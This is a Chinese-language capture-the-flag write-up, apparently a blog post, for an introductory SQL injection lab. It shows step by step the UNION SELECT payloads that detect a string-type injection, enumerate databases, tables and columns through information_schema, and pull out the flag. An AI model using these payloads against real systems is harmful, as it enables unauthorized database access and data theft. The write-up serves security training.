[第一章 web入门]SQL注入-1

目录

1. 观察 

2. 判断  

3. 判断字段数  

4. 显位 

5. 爆库

6. 爆表

7. 爆列

8. 爆值


1. 观察 

 

首先,打开靶场引入眼帘只有两个比较显目的地方,url和一篇笔记内容  

很明显,url中id部分存在注入点 

2. 判断  

id=2

所以肯定id是注入点 

输入(注释符发现#无效)

id=1 and 1 = 1--+

id=1 and 1 = 2--+

页面无改变,所以不是数字型注入

输入

id=1' and 1 = 1--+

id=1' and 1 = 2--+

页面第二个出现逻辑报错  

所以为字符型注入 

3. 判断字段数  

id=1' order by 3 --+

id=1' order by 4 --+

 

 

所以字段数为3

4. 显位 

2,3的位置可以显位 

5. 爆库

 id=0' union select 1,2,group_concat(schema_name) from (information_schema.schemata)

得到所有数据库名:information_schema,mysql,note,performance_schema

 id=0' union select 1,2,database()--+

得到当前数据库名:note 

6. 爆表

id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到当前数据库的表:fl4g,notes

7. 爆列

 id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

得到fl4g表的列名:fllllag

所以flag很有可能就在这里面了

8. 爆值

 id=0' union select 1,2,group_concat(fllllag) from (fl4g)--+

得到flag:n1book{union_select_is_so_cool} 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值